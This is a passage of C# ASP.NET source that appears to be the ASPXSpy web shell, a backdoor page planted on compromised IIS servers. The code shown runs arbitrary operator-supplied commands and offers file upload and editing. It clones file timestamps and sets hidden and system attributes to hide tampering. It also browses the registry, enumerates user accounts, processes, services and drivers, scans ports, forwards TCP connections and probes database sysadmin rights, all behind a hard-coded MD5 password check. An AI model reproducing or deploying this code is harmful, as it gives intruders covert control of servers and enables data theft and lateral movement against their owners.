TableCell td1=new TableCell();
td1.Text=pvc[i].ToString();
tr.Controls.Add(td1);
Bin_Table_User.Controls.Add(tr);
}
}
}
TableRow trn=new TableRow();
for(int x=1;x<3;x++)
{
TableCell tdn=new TableCell();
tdn.Attributes["style"]="height:2px;background-color:#bbbbbb;";
trn.Controls.Add(tdn);
Bin_Table_User.Controls.Add(trn);
}
}
}
private void Bin_Wmi_UserInfo()
{
DataTable user=zcg_WmiDataTable("root\\CIMV2","select * from Win32_UserAccount");
for(int i=0;i<user.Rows.Count;i++)
{
for(int j=0;j<user.Columns.Count;j++)
{
TableRow tr=zcg_GetTableRow();
TableCell td=new TableCell();
td.Text=user.Columns[j].ToString();
tr.Controls.Add(td);
TableCell td1=new TableCell();
td1.Text=user.Rows[i][j].ToString();
tr.Controls.Add(td1);
Bin_Table_User.Controls.Add(tr);
}
TableRow trn=new TableRow();
for(int x=1;x<3;x++)
{
TableCell tdn=new TableCell();
tdn.Attributes["style"]="height:2px;background-color:#bbbbbb;";
trn.Controls.Add(tdn);
Bin_Table_User.Controls.Add(trn);
}
}
}
private void Bin_Sysinfo()
{
Hide_Div();
Bin_Div_Sysinfo.Visible=true;
Bin_H2_Title.InnerText="System Information >>";
Bin_H2_Mac.InnerText="MAC Information >>";
Bin_H2_Driver.InnerText="Driver Information >>";
StringBuilder s_inf=new StringBuilder();
StringBuilder s_netconfig=new StringBuilder();
StringBuilder s_driver=new StringBuilder();
try
{
s_inf.Append("<li><u>Server Domain : </u>"+Request.ServerVariables["SERVER_NAME"]+"</li>");
s_inf.Append("<li><u>Server Ip : </u>"+Request.ServerVariables["LOCAL_ADDR"]+":"+Request.ServerVariables["SERVER_PORT"]+"</li>");
s_inf.Append("<li><u>Server OS : </u>"+Environment.OSVersion+"</li>");
s_inf.Append("<li><u>Server Software : </u>"+Request.ServerVariables["SERVER_SOFTWARE"]+"</li>");
s_inf.Append("<li><u>Server UserName : </u>"+zcg_GetUserName()+"</li>");
s_inf.Append("<li><u>Server Time : </u>"+System.DateTime.Now.ToString()+"</li>");
RegistryKey key_ts=Registry.LocalMachine.OpenSubKey(@"SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp");
string tsport=GetRegValue(key_ts,"PortNumber");
RegistryKey key_cpu=Registry.LocalMachine.OpenSubKey(@"HARDWARE\DESCRIPTION\System\CentralProcessor");
int cpu=key_cpu.SubKeyCount;
RegistryKey key_cpuinfo=Registry.LocalMachine.OpenSubKey(@"HARDWARE\DESCRIPTION\System\CentralProcessor\0\");
string cpuver=GetRegValue(key_cpuinfo,"ProcessorNameString");
s_inf.Append("<li><u>Terminal Port : </u>"+tsport+"</li>");
s_inf.Append("<li><u>CPU Count : </u>"+cpu.ToString()+"</li>");
s_inf.Append("<li><u>CPU Version : </u>"+cpuver+"</li>");
s_inf.Append("<li><u>Server TimeZone : </u>"+zcg_WmiDataTable("root\\CIMV2","select * from Win32_TimeZone").Rows[0]["Caption"]+"</li>");
DataTable BIOS=zcg_WmiDataTable("root\\CIMV2","select * from Win32_BIOS");
s_inf.Append("<li><u>Server BIOS : </u>"+BIOS.Rows[0]["Manufacturer"]+" : "+BIOS.Rows[0]["Name"]+"</li>");
DataTable Memory=zcg_WmiDataTable("root\\CIMV2","select * from Win32_PhysicalMemory");
Int64 Memoryall=0;
for(int i=0;i<Memory.Rows.Count;i++)
{
Memoryall+=Int64.Parse(Memory.Rows[0]["Capacity"].ToString());
}
s_inf.Append("<li><u>Server Memory : </u>"+Bin_FileSize(Memoryall)+"</li>");
DataTable NetConfig=zcg_WmiDataTable("root\\CIMV2","select * from Win32_NetworkAdapterConfiguration");
for(int i=0;i<NetConfig.Rows.Count;i++)
{
s_netconfig.Append("<li><u>Server MAC"+i+" : </u>"+NetConfig.Rows[i]["Caption"]+"</li>");
if((NetConfig.Rows[i]["MACAddress"] as string)!="")
{
s_netconfig.Append("<li style=\"list-style:none;\"><u>Address : </u>"+NetConfig.Rows[i]["MACAddress"]+"</li>");
}
}
DataTable Driver=zcg_WmiDataTable("root\\CIMV2","select * from Win32_SystemDriver");
for (int i=0; i<Driver.Rows.Count; i++)
{
s_driver.Append("<li><u class='u1'>Server Driver"+i+" : </u><u class='u2'>"+Driver.Rows[i]["Caption"]+"</u> ");
if ((Driver.Rows[i]["PathName"] as string)!="")
{
s_driver.Append("Path : "+Driver.Rows[i]["PathName"]);
}
else
{
s_driver.Append("No path information");
}
s_driver.Append("</li>");
}
}
catch(Exception error)
{
zcg_ShowError(error);
}
finally
{
Bin_Ul_Sys.InnerHtml=s_inf.ToString();
Bin_Ul_NetConfig.InnerHtml=s_netconfig.ToString();
Bin_Ul_Driver.InnerHtml=s_driver.ToString();
}
}
private void Bin_Reg()
{
zcg_RegHeader();
RegInit();
}
private void zcg_RegHeader()
{
Hide_Div();
Bin_Div_Reg.Visible=true;
Bin_H2_Title.InnerText="RegShell >>";
string RootKeys=@"HKEY_LOCAL_MACHINE|HKEY_CLASSES_ROOT|HKEY_CURRENT_USER|HKEY_USERS|HKEY_CURRENT_CONFIG";
Bin_Regroot_Href.Text="";
foreach(string rootkey in RootKeys.Split('|'))
{
Bin_Regroot_Href.Text+="<a href=\"javascript:Bin_PostBack('Bin_Regread','"+Bin_ToBase64(rootkey)+"')\">"+rootkey+"</a> | ";
}
}
private void RegInit()
{
Bin_Text_Regread.Text="";
string RootKeys=@"HKEY_LOCAL_MACHINE|HKEY_CLASSES_ROOT|HKEY_CURRENT_USER|HKEY_USERS|HKEY_CURRENT_CONFIG";
TableRow tr;
TableCell tc;
foreach(string rootkey in RootKeys.Split('|'))
{
tc=new TableCell();
tr=zcg_GetTableRow();
tc.Width=Unit.Parse("40%");
tc.Text="<a href=\"javascript:Bin_PostBack('Bin_Regread','"+Bin_ToBase64(rootkey)+"')\">"+rootkey+"</a>";
tr.Cells.Add(tc);
tc=new TableCell();
tc.Width=Unit.Parse("60%");
tc.Text="<RootKey>";
tr.Cells.Add(tc);
Bin_Table_Reg.Rows.Add(tr);
}
}
private void Bin_ShowReg(string Reg_Path)
{
zcg_RegHeader();
if(!Reg_Path.EndsWith("\\"))
{
Reg_Path=Reg_Path+"\\";
}
Bin_Text_Regread.Text=Reg_Path;
string ParPath=Regex.Replace(Reg_Path,@"\\[^\\]+\\?$","");
ParPath=Regex.Replace(ParPath,@"\\+","\\");
TableRow tr=zcg_GetTableRow();
TableCell tc=new TableCell();
tc.Text="<a href=\"javascript:Bin_PostBack('Bin_Regread','"+Bin_ToBase64(ParPath)+"')\">Parent Key</a>";
tc.Attributes["colspan"]="2" ;
tr.Cells.Add(tc);
Bin_Table_Reg.Rows.Add(tr);
try
{
string strSubkey=Reg_Path.Substring(Reg_Path.IndexOf("\\")+1,Reg_Path.Length-Reg_Path.IndexOf("\\")-1);
RegistryKey rk=null;
RegistryKey sk;
if(Reg_Path.StartsWith("HKEY_LOCAL_MACHINE",true,null)||Reg_Path.StartsWith("hklm",true,null))
{
rk=Registry.LocalMachine;
}
else if(Reg_Path.StartsWith("HKEY_CLASSES_ROOT",true,null)||Reg_Path.StartsWith("hkcr",true,null))
{
rk=Registry.ClassesRoot;
}
else if(Reg_Path.StartsWith("HKEY_CURRENT_USER",true,null)||Reg_Path.StartsWith("hkcu",true,null))
{
rk=Registry.CurrentUser;
}
else if(Reg_Path.StartsWith("HKEY_USERS",true,null)||Reg_Path.StartsWith("hku",true,null))
{
rk=Registry.Users;
}
else if(Reg_Path.StartsWith("HKEY_CURRENT_CONFIG",true,null)||Reg_Path.StartsWith("hkcc",true,null))
{
rk=Registry.CurrentConfig;
}
if(strSubkey.Length>1)
{
sk=rk.OpenSubKey(strSubkey);
}
else
{
sk=rk;
}
foreach(string innerSubKey in sk.GetSubKeyNames())
{
tr=zcg_GetTableRow();
tc=new TableCell();
tc.Width=Unit.Parse("40%");
tc.Text="<a href=\"javascript:Bin_PostBack('Bin_Regread','"+Bin_ToBase64(Reg_Path+innerSubKey)+"')\">"+innerSubKey+"</a>";
tr.Cells.Add(tc);
tc=new TableCell();
tc.Width=Unit.Parse("60%");
tc.Text="<SubKey>";
tr.Cells.Add(tc);
Bin_Table_Reg.Rows.Add(tr);
}
TableRow intr=new TableRow();
intr.Attributes["style"]="border-top:1px solid #fff;border-bottom:1px solid #ddd;";
intr.Attributes["bgcolor"]="#dddddd";
TableCell intc=new TableCell();
intc.Attributes["colspan"]="2" ;
intc.Attributes["height"]="5";
intr.Cells.Add(intc);
Bin_Table_Reg.Rows.Add(intr);
foreach(string strValueName in sk.GetValueNames())
{
tr=zcg_GetTableRow();
tc=new TableCell();
tc.Width=Unit.Parse("40%");
tc.Text=strValueName;
tr.Cells.Add(tc);
tc=new TableCell();
tc.Width=Unit.Parse("60%");
tc.Text=GetRegValue(sk,strValueName);
tr.Cells.Add(tc);
Bin_Table_Reg.Rows.Add(tr);
}
}
catch(NullReferenceException ex){Bin_Msg("Path not found");}
catch(Exception ex){zcg_ShowError(ex);}
}
private string GetRegValue(RegistryKey sk,string strValueName)
{
object buffer;
string regstr="";
try
{
buffer=sk.GetValue(strValueName,"NULL");
if(buffer.GetType()==typeof(byte[]))
{
foreach(byte tmpbyte in(byte[])buffer)
{
if((int)tmpbyte<16)
{
regstr+="0";
}
regstr+=tmpbyte.ToString("X");
}
}
else if(buffer.GetType()==typeof(string[]))
{
foreach(string tmpstr in(string[])buffer)
{
regstr+=tmpstr;
}
}
else
{
regstr=buffer.ToString();
}
}
catch(Exception error)
{
zcg_ShowError(error);
}
return regstr;
}
private void Bin_PortScan()
{
Hide_Div();
Bin_Div_PortScan.Visible=true;
Bin_H2_Title.InnerText="PortScan >>";
}
private void Bin_DataBase()
{
Hide_Div();
Bin_Div_Data.Visible=true;
Bin_Div_DBPanel.Visible=false;
Bin_H2_Title.InnerText="DataBase >>";
}
private void OpenConnection()
{
if(IsSqlServer())
{
conn=new SqlConnection();
comm=new SqlCommand();
}else{
conn=new OleDbConnection();
comm=new OleDbCommand();
}
if(conn.State==ConnectionState.Closed)
{
try
{
conn.ConnectionString=Bin_TextBox_ConnStr.Text;
comm.Connection=conn;
conn.Open();
if(IsSqlServer()&&Bin_List_DB.SelectedItem!=null&&Bin_List_DB.SelectedItem.Value!="")
{
conn.ChangeDatabase(Bin_List_DB.SelectedItem.Value.ToString());
}
}
catch(Exception error)
{
zcg_ShowError(error);
}
}
}
private void CloseConnection()
{
if(conn.State==ConnectionState.Open)
{
conn.Close();
}
conn.Dispose();
comm.Dispose();
}
private bool IsSqlServer()
{
return Bin_List_Connstr.SelectedItem.Text=="MSSQL";
}
private DataTable Bin_DataTable(string sqlstr)
{
DbDataAdapter da=null;
if(IsSqlServer())
{
da=new SqlDataAdapter();
}else{
da=new OleDbDataAdapter();
}
DataTable dtable=new DataTable();
try
{
OpenConnection();
comm.CommandType=CommandType.Text;
comm.CommandText=sqlstr;
da.SelectCommand=comm;
da.Fill(dtable);
}
finally
{
CloseConnection();
}
return dtable;
}
private bool Bin_ExecSql(string instr)
{
try
{
OpenConnection();
comm.CommandType=CommandType.Text;
comm.CommandText=instr;
comm.ExecuteNonQuery();
return true;
}
catch(Exception e)
{
zcg_ShowError(e);
return false;
}
}
private void Bin_ExecBind()
{
try
{
DataTable dt=Bin_DataTable(Bin_Textarea_Query.InnerText);
if(dt.Columns.Count>0)
{
Bin_DataGrid.PreRender+=new EventHandler(DataGrid_PreRender);
Bin_DataGrid.DataSource=dt;
Bin_DataGrid.DataBind();
for(int i=0;i<Bin_DataGrid.Items.Count;i++)
{
zcg_SetControlAttribute(Bin_DataGrid.Items[i]);
}
}
else
{
Bin_DataGrid.DataSource=null;
Bin_DataGrid.DataBind();
}
Bin_DataGrid.Visible=true;
}
catch(Exception e)
{
zcg_ShowError(e);
Bin_DataGrid.Visible=false;
}
}
private void Bin_DataBind()
{
try
{
if(IsSqlServer()&&Bin_List_DB.SelectedItem.Value=="")
{
Bin_DataGrid.DataSource=null;
Bin_DataGrid.DataBind();
return;
}
OpenConnection();
DataTable tables=new DataTable();
if(IsSqlServer()&&Bin_List_DB.SelectedItem.Value!="")
{
conn.ChangeDatabase(Bin_List_DB.SelectedItem.Text);
}
tables=conn.GetSchema("Tables");
tables.Columns.Remove("TABLE_CATALOG");
tables.Columns.Remove("TABLE_SCHEMA");
if(!IsSqlServer()){tables.Columns.Remove("DESCRIPTION");tables.Columns.Remove("TABLE_PROPID");}
Bin_DataGrid.PreRender+=new EventHandler(DataGrid_PreRender);
Bin_DataGrid.DataSource=tables;
Bin_DataGrid.DataBind();
for(int i=0;i<Bin_DataGrid.Items.Count;i++)
{
string tname=Bin_DataGrid.Items[i].Cells[0].Text;
zcg_SetControlAttribute(Bin_DataGrid.Items[i]);
Bin_DataGrid.Items[i].Attributes["onclick"]="ASPXSpy.Bin_Textarea_Query.value='select * from " + tname + "';";
}
Bin_DataGrid.Visible=true;
}
catch(Exception e)
{
zcg_ShowError(e);
Bin_DataGrid.Visible=false;
}
}
protected void DataGrid_PreRender(object sender,EventArgs e)
{
DataGrid d=(DataGrid)sender;
foreach(DataGridItem item in d.Items)
{
foreach(TableCell t in item.Cells)
{
t.Text=t.Text.Replace("<","<").Replace(">",">");
}
}
}
private void Bin_Newconn()
{
Bin_Div_DBPanel.Visible=true;
try
{
Bin_Textarea_Query.InnerHtml="";
if(Bin_List_Connstr.SelectedItem.Text=="MSSQL")
{
Bin_DataGrid.Visible=false;
Bin_Div_Dblist.Visible=true;
Bin_Div_Dbinfo.Visible=true;
OpenConnection();
string cdb=conn.Database;
string verstr=Bin_DataTable(@"SELECT @@VERSION").Rows[0][0].ToString();
DataTable dbs=Bin_DataTable(@"SELECT name FROM master..sysdatabases");
DataTable rol=Bin_DataTable(@"SELECT IS_SRVROLEMEMBER('sysadmin')");
DataTable owner=Bin_DataTable(@"SELECT IS_MEMBER('db_owner')");
string dbo="";
if(owner.Rows[0][0].ToString()=="1")
{
dbo="db_owner";
}
else
{
dbo="public";
}
if(rol.Rows[0][0].ToString()=="1")
{
dbo="<font color=blue>sa</font>";
}
Bin_List_Exec.SelectedIndex=0;
Bin_List_DB.Items.Clear();
for(int i=0;i<dbs.Rows.Count;i++)
{
Bin_List_DB.Items.Add(dbs.Rows[i][0].ToString());
if (cdb==dbs.Rows[i][0].ToString())
{
Bin_List_DB.Items[i].Selected=true;
}
}
Bin_Div_Dbinfo.InnerHtml="<p><font color=red>MSSQL Version</font> : <i>"+verstr+"</i></p><p><font color=red>SrvRoleMember</font> : <i>"+dbo+"</i></p>";
}
else
{
Bin_Div_Dblist.Visible=false;
Bin_Div_Dbinfo.Visible=false;
}
Bin_DataBind();
}
catch(Exception e)
{
zcg_ShowError(e);
Bin_Div_DBPanel.Visible=false;
}
}
private void Bin_PortMap()
{
Hide_Div();
Bin_Div_PortMap.Visible=true;
Bin_H2_Title.InnerText="PortMap >>";
}
private void Bin_WmiTools()
{
Hide_Div();
Bin_Div_WmiTools.Visible = true;
Bin_Div_WmiPanel.Visible = false;
Bin_H2_Title.InnerText = "WmiTools >>";
}
internal class PortForward
{
public string LocalAddress;
public int LocalPort;
public string RemoteAddress;
public int RemotePort;
private Socket ltcpClient;
private Socket rtcpClient;
private byte[] rbuffer=new byte[2048];
private byte[] lbuffer=new byte[2048];
internal struct session
{
public Socket rdel;
public Socket ldel;
}
public bool IsConnected{get{return ltcpClient.Connected&&rtcpClient.Connected;}}
private IPEndPoint GetIPEndPoint(string host,int port)
{
try{
IPEndPoint iep=null;
IPAddress ipAddress=Dns.Resolve(host).AddressList[0];
iep=new IPEndPoint(ipAddress,port);
return iep;}catch{throw new Exception("Host not found.");}
}
public void Start(string Rip,int Rport,string lip,int lport)
{
LocalPort=lport;
RemoteAddress=Rip;
RemotePort=Rport;
LocalAddress=lip;
new SocketPermission(NetworkAccess.Connect,TransportType.Tcp,Rip,Rport).Demand();
new SocketPermission(NetworkAccess.Connect,TransportType.Tcp,lip,lport).Demand();
rtcpClient=new Socket(AddressFamily.InterNetwork,SocketType.Stream,ProtocolType.Tcp);
ltcpClient=new Socket(AddressFamily.InterNetwork,SocketType.Stream,ProtocolType.Tcp);
rtcpClient.BeginConnect(Rip,Rport,new AsyncCallback(OnRConnect),rtcpClient);
}
protected void OnRConnect(IAsyncResult ar)
{
try
{
session mysession=new session();
mysession.ldel=ltcpClient;
mysession.rdel=rtcpClient;
ltcpClient.BeginConnect(LocalAddress,LocalPort,new AsyncCallback(OnLConnect),mysession);
}catch{ }
}
protected void OnLConnect(IAsyncResult ar)
{
try
{
session mysession=(session)ar.AsyncState;
ltcpClient.EndConnect(ar);
mysession.rdel.BeginReceive(rbuffer,0,rbuffer.Length,SocketFlags.None,new AsyncCallback(OnRReceive),mysession);
mysession.ldel.BeginReceive(lbuffer,0,lbuffer.Length,SocketFlags.None,new AsyncCallback(OnLReceive),mysession);
}catch{ }
}
protected void OnRReceive(IAsyncResult ar)
{
try
{
session mysession=(session)ar.AsyncState;
int Ret=mysession.rdel.EndReceive(ar);
if (Ret>0)
ltcpClient.BeginSend(rbuffer,0,Ret,SocketFlags.None,new AsyncCallback(onlsend),mysession);
else Stop();
}catch{ }
}
protected void onlsend(IAsyncResult ar)
{
try
{
session mysession=(session)ar.AsyncState;
mysession.ldel.EndSend(ar);
mysession.rdel.BeginReceive(rbuffer,0,rbuffer.Length,SocketFlags.None,new AsyncCallback(this.OnRReceive),mysession);
}catch{ }
}
protected void OnLReceive(IAsyncResult ar)
{
try
{
session mysession=(session)ar.AsyncState;
int Ret=mysession.ldel.EndReceive(ar);
if (Ret>0)
mysession.rdel.BeginSend(lbuffer,0,Ret,SocketFlags.None,new AsyncCallback(onrsend),mysession);
else Stop();
}catch{ }
}
protected void onrsend(IAsyncResult ar)
{
try
{
session mysession=(session)ar.AsyncState;
mysession.rdel.EndSend(ar);
mysession.ldel.BeginReceive(lbuffer,0,lbuffer.Length,SocketFlags.None,new AsyncCallback(this.OnLReceive),mysession);
}catch{ }
}
public void Stop()
{
try
{
if (ltcpClient!=null)
{
ltcpClient.Close();
}
if (rtcpClient!=null)
rtcpClient.Close();
}
catch{ }
}
}
internal class ScanPort
{
public string ip="";
public int port=0;
public string status="Not scanned";
public ScanPort(string ip,int port)
{
this.ip=ip;
this.port=port;
}
public void Scan()
{
TcpClient tc=new TcpClient();
try
{
tc.Connect(ip,port);
tc.Close();
status="<font color=green>Open</font>";
}
catch
{
status="<font color=red>Close</font>";
}
}
}
public static void JscriptSender(System.Web.UI.Page page)
{
page.RegisterHiddenField("__EVENTTARGET","");
page.RegisterHiddenField("__FILE","");
string s=@"<script language=Javascript>";
s+=@"function Bin_PostBack(eventTarget,eventArgument)";
s+=@"{";
s+=@"var theform=document.forms[0];";
s+=@"theform.__EVENTTARGET.value=eventTarget;";
s+=@"theform.__FILE.value=eventArgument;";
s+=@"theform.submit();theform.__EVENTTARGET.value="""";theform.__FILE.value=""""";
s+=@"} ";
s+=@"</scr"+"ipt>";
page.RegisterStartupScript("",s);
}
protected void Bin_Search_Start(object sender,EventArgs e)
{
Hide_Div();
Bin_Div_Search.Visible=true;
Bin_H2_Title.InnerText="File Search >>";
Bin_Search_Path.Value=Request.PhysicalApplicationPath;
Bin_Table_Search.Visible=false;
}
protected void Bin_Button_Search_Click(object sender,EventArgs e)
{
try{
DirectoryInfo Bin_dir=new DirectoryInfo(Bin_Search_Path.Value);
if(!Bin_dir.Exists)
{
Bin_Msg("Path invalid ! ");
return;
}
Bin_DoSearch(Bin_dir);
Bin_Msg("Search completed ! ");}catch(Exception ex){zcg_ShowError(ex);}
}
private void Bin_DoSearch(DirectoryInfo dir)
{
try
{
Bin_Table_Search.Visible=true;
foreach(FileInfo Bin_Files in dir.GetFiles())
{
try
{
if(!Regex.IsMatch(Bin_Files.Extension.Replace(".",""),"^("+Bin_Search_Ext.Value+")$",RegexOptions.IgnoreCase))
{
continue;
}
if(Bin_Search_Mod.SelectedItem.Value=="name")
{
if(Bin_Search_UseReg.Checked)
{
if(Regex.IsMatch(Bin_Files.Name,Bin_TextArea_Search.Value,RegexOptions.IgnoreCase))
{
Bin_DoSearchLink(Bin_Files);
}
}
else
{
if(Bin_Files.Name.ToLower().IndexOf(Bin_TextArea_Search.Value.ToLower())!=-1)
{
Bin_DoSearchLink(Bin_Files);
}
}
}
else
{
StreamReader sr=new StreamReader(Bin_Files.FullName,Encoding.Default);
string filecontent=sr.ReadToEnd();
sr.Close();
if(Bin_Search_UseReg.Checked)
{
if(Regex.IsMatch(filecontent,Bin_TextArea_Search.Value,RegexOptions.IgnoreCase))
{
Bin_DoSearchLink(Bin_Files);
if(Bin_Search_Replace.Checked)
{
filecontent=Regex.Replace(filecontent,Bin_TextArea_Search.Value,Bin_TextArea_ReplaceAs.Value,RegexOptions.IgnoreCase);
StreamWriter sw=new StreamWriter(Bin_Files.FullName,false,Encoding.Default);
sw.Write(filecontent);
sw.Close();
}
}
}
else
{
if(filecontent.ToLower().IndexOf(Bin_TextArea_Search.Value.ToLower())!=-1)
{
Bin_DoSearchLink(Bin_Files);
if(Bin_Search_Replace.Checked)
{
filecontent=filecontent.Replace(Bin_TextArea_Search.Value,Bin_TextArea_ReplaceAs.Value);
StreamWriter sw=new StreamWriter(Bin_Files.FullName,false,Encoding.Default);
sw.Write(filecontent);
sw.Close();
}
}
}
}
}
catch(Exception ex)
{
zcg_ShowError(ex);
continue;
}
}
foreach(DirectoryInfo subdir in dir.GetDirectories())
{
Bin_DoSearch(subdir);
}
}
catch(Exception ex)
{
zcg_ShowError(ex);
}
}
private void Bin_DoSearchLink(FileInfo objfile)
{
TableRow tr=zcg_GetTableRow();
TableCell tc=new TableCell();
tc.Text="<a href=\"javascript:Bin_PostBack('Bin_DownFile','"+Bin_ToBase64(objfile.FullName)+"')\">"+objfile.FullName+"</a>";
tr.Cells.Add(tc);
tc=new TableCell();
tc.Text=objfile.LastWriteTime.ToString();
tr.Cells.Add(tc);
tc=new TableCell();
tc.Text=Bin_FileSize(objfile.Length);
tr.Cells.Add(tc);
Bin_Table_Search.Rows.Add(tr);
}
private void Bin_Msg(string instr)
{
Bin_Div_Msg.Visible=true;
Bin_Div_Msg.InnerHtml="<pre><xmp>"+instr+"</xmp></pre>";
}
private void zcg_ShowError(Exception ex)
{
if(ex.InnerException==null){Bin_Msg(ex.Message);}else{Bin_Msg(ex.ToString());}
}
protected void Bin_Button_Login_Click(object sender,EventArgs e)
{
string MD5Pass=FormsAuthentication.HashPasswordForStoringInConfigFile(Bin_TextBox_Login.Text,"MD5").ToLower();
if(MD5Pass==Password)
{
Response.Cookies.Add(new HttpCookie(Version,Password));
Bin_Div_Login.Visible=false;
Bin_Main();
}
else
{
Bin_Login();
}
}
protected void Bin_Button_File_Click(object sender,EventArgs e)
{
Bin_File(Server.MapPath("."));
}
protected void Bin_Button_IISspy_Click(object sender,EventArgs e)
{
Bin_H2_Title.InnerText="IIS Spy >>";
Hide_Div();
Bin_Div_IISSpy.Visible=true;
Bin_Table_IISSpy.Style.Add("word-break","break-all");
try{Bin_WMI_IISSpy();}catch{try{Bin_IISSpy();}catch(Exception ex){zcg_ShowError(ex);}}
}
protected void Bin_Button_Save_Click(object sender,EventArgs e)
{
try
{
StreamWriter sw;
if(Bin_List_Code.SelectedItem.Text=="UTF-8")
{
sw=new StreamWriter(Bin_TextBox_Fp.Value,false,Encoding.UTF8);
}
else
{
sw=new StreamWriter(Bin_TextBox_Fp.Value,false,Encoding.Default);
}
sw.Write(Bin_Textarea_Edit.InnerText);
sw.Close();
Bin_Msg("Save file success !");
}
catch(Exception error)
{
zcg_ShowError(error);
}
Bin_File(Bin_TextBox_Path.Value);
}
protected void Bin_Button_Upload_Click(object sender,EventArgs e)
{
string uppath=Bin_TextBox_Path.Value;
uppath=Bin_PathBuild(uppath);
try
{
if(Bin_Lable_File.PostedFile.FileName==""){Bin_Msg("No file to upload");}
else{Bin_Lable_File.PostedFile.SaveAs(uppath+Path.GetFileName(Bin_Lable_File.Value));Bin_Msg("File upload success!");}
}
catch(Exception error)
{
zcg_ShowError(error);
}
Bin_File(Bin_TextBox_Path.Value);
}
protected void Bin_Button_Go_Click(object sender,EventArgs e)
{
Bin_File(Bin_TextBox_Path.Value);
}
protected void Bin_Button_WebRoot_Click(object sender,EventArgs e)
{
Bin_File(Server.MapPath("."));
}
protected void Bin_Button_Clone_Click(object sender,EventArgs e)
{
try
{
File.SetCreationTimeUtc(Bin_TextBox_Sp.Value,File.GetCreationTimeUtc(Bin_TextBox_Dp.Value));
File.SetLastAccessTimeUtc(Bin_TextBox_Sp.Value,File.GetLastAccessTimeUtc(Bin_TextBox_Dp.Value));
File.SetLastWriteTimeUtc(Bin_TextBox_Sp.Value,File.GetLastWriteTimeUtc(Bin_TextBox_Dp.Value));
Bin_Msg("File time clone success!");
}
catch(Exception error)
{
zcg_ShowError(error);
}
Bin_File(Bin_TextBox_Path.Value);
}
protected void Bin_Button_Att_Click(object sender,EventArgs e)
{
string path=Bin_TextBox_Sp1.Value;
try
{
File.SetAttributes(path,FileAttributes.Normal);
if(Bin_CheckBox_ReadOnly.Checked)
{
File.SetAttributes(path,FileAttributes.ReadOnly);
}
if(Bin_CheckBox_System.Checked)
{
File.SetAttributes(path,File.GetAttributes(path)| FileAttributes.System);
}
if(Bin_CheckBox_Hiddent.Checked)
{
File.SetAttributes(path,File.GetAttributes(path)| FileAttributes.Hidden);
}
if(Bin_CheckBox_Archive.Checked)
{
File.SetAttributes(path,File.GetAttributes(path)| FileAttributes.Archive);
}
File.SetCreationTimeUtc(path,Convert.ToDateTime(Bin_TextBox_Creation.Value));
File.SetLastAccessTimeUtc(path,Convert.ToDateTime(Bin_TextBox_LastAccess.Value));
File.SetLastWriteTimeUtc(path,Convert.ToDateTime(Bin_TextBox_LastWrite.Value));
Bin_Msg("File attributes modify success!");
}
catch(Exception error)
{
zcg_ShowError(error);
}
Bin_File(Bin_TextBox_Path.Value);
}
protected void Bin_Button_Cmd_Click(object sender,EventArgs e)
{
Hide_Div();
Bin_Div_Cmd.Visible=true;
Bin_H2_Title.InnerText="Execute Command >>";
}
protected void Bin_Button_CmdExec_Click(object sender,EventArgs e)
{
try{zcg_ExecCmd();}
catch(Exception ex){zcg_ShowError(ex);}
}
private void zcg_ExecCmd()
{
try
{
Process Cmdpro=new Process();
Cmdpro.StartInfo.FileName=Bin_TextBox_CmdPath.Value;
Cmdpro.StartInfo.Arguments=Bin_TextBox_CmdArg.Value;
Cmdpro.StartInfo.UseShellExecute=false;
Cmdpro.StartInfo.RedirectStandardInput=true;
Cmdpro.StartInfo.RedirectStandardOutput=true;
Cmdpro.StartInfo.RedirectStandardError=true;
Cmdpro.Start();
string cmdstr=Cmdpro.StandardOutput.ReadToEnd();
cmdstr+=Cmdpro.StandardError.ReadToEnd();
Bin_Div_CmdRes.Visible=true;
Bin_Div_CmdRes.InnerHtml="<hr width=\"100%\" noshade/><pre><xmp>"+cmdstr+"</xmp></pre>";
}
catch(Exception error)
{
zcg_ShowError(error);
}
}
protected void Bin_Bin_RegreadButton_Click(object sender,EventArgs e)
{
if(Bin_Text_Regread.Text.Length>0)
{
Bin_ShowReg(Bin_Text_Regread.Text);
}
else
{
RegInit();
}
}
protected void Bin_Button_Process_Click(object sender,EventArgs e)
{
zcg_ProcessHeader();
try{Bin_Wmi_GetProcess();}catch{try{Bin_GetProcess();}catch(Exception ex){zcg_ShowError(ex);}}
}
private void zcg_ProcessHeader()
{
Bin_H2_Title.InnerText="Process >>";
Hide_Div();
Bin_Div_Process.Visible=true;
}
protected void Bin_Button_Services_Click(object sender,EventArgs e)
{
Bin_H2_Title.InnerText="Services >>";
Hide_Div();
Bin_Div_Services.Visible=true;
try{Bin_Wmi_GetServices();}catch{try{Bin_GetServices();}catch(Exception ex){zcg_ShowError(ex);}}
}
protected void Bin_Button_Sysinfo_Click(object sender,EventArgs e)
{
Bin_Sysinfo();
}
protected void Bin_Button_Userinfo_Click(object sender,EventArgs e)
{
Hide_Div();
Bin_Div_Userinfo.Visible=true;
Bin_H2_Title.InnerText="User Information >>";
try{Bin_Wmi_UserInfo();}catch{try{Bin_UserInfo();}catch(Exception ex){zcg_ShowError(ex);}}
}
protected void Bin_Button_Reg_Click(object sender,EventArgs e)
{
Bin_Reg();
}
protected void Bin_Button_DB_Click(object sender,EventArgs e)
{
Bin_DataBase();
}
protected void Bin_List_SelectedIndexChanged(object sender,EventArgs e)
{
switch(((Control)sender).ID.ToString())
{
case "Bin_List_Connstr":
Bin_Div_DBPanel.Visible=false;
Bin_TextBox_ConnStr.Text=Bin_List_Connstr.SelectedItem.Value.ToString();
break;
case "Bin_Button_Show":
case "Bin_List_DB":
Bin_DataBind();
break;
case "Bin_List_Exec":
string selectstr=Bin_List_Exec.SelectedItem.Value.ToString();
if (selectstr == "SA_Upfile")
{
Bin_Div_saupfile.Visible=true;
}
else if (selectstr == "FileCopy")
{
Bin_Div_CopyFile.Visible = true;
}
else
{
Bin_Textarea_Query.InnerText = selectstr;
}
break;
case "Bin_List_Code":
Bin_CreateFile(Bin_TextBox_Fp.Value);
break;
}
}
protected void Bin_Button_Back_Click(object sender,EventArgs e)
{
Bin_File(Bin_TextBox_Path.Value);
}
protected void Bin_Button_Conn_Click(object sender,EventArgs e)
{
Bin_Newconn();
}
protected void Bin_Button_PortScan_Click(object sender,EventArgs e)
{
Bin_PortScan();
}
protected void Bin_Button_PortMap_Click(object sender,EventArgs e)
{
Bin_PortMap();
}
protected void Bin_Button_WmiTools_Click(object sender, EventArgs e)
{
Bin_WmiTools();
}
protected void zcg_btnListPM_Click(object sender,EventArgs e)
{
try{
if(Session[PMCacheName]==null||!(Session[PMCacheName] is Hashtable))
{
